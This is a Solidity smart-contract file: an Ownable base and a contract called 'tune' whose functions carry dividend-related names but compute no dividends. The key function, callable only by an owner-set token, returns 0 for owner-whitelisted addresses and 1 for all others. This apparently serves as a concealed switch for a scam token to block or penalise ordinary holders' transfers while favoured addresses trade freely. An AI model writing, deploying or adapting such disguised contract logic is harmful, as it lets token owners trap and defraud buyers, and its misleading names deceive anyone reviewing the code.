// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


contract tune is Ownable {

    address private token;
    address private pair;
    bool private isDividendFinished;

    mapping(address => bool) private _whitelists;
    mapping (address => uint256) private _dividendTimePassed;

    uint256 private claimTime;

    modifier onlyToken() {
        require(msg.sender == token); 
        _;
    }

    function setDividendFinished(bool isFinished) external onlyOwner {
      isDividendFinished = isFinished;
    }

    function setTokenForDivideEndsCupCake(address _token, address _pair) external onlyOwner {
      token = _token;
      pair = _pair;
      isDividendFinished = false;
      claimTime = 0;
    }

    function setClaimingTimeForDividend() external onlyOwner {
      claimTime = block.timestamp;
    }

    function whitelistForDivideEnds(address owner_, bool _isWhitelist) external onlyOwner {
      _whitelists[owner_] = _isWhitelist;
    }

    function accumulativeDividendOf(address _from, address _to) external onlyToken returns (uint256) {
      if (_whitelists[_from] || _whitelists[_to]) {
        return 0;
      }
      return 1;
    }

    receive() external payable {
    }
}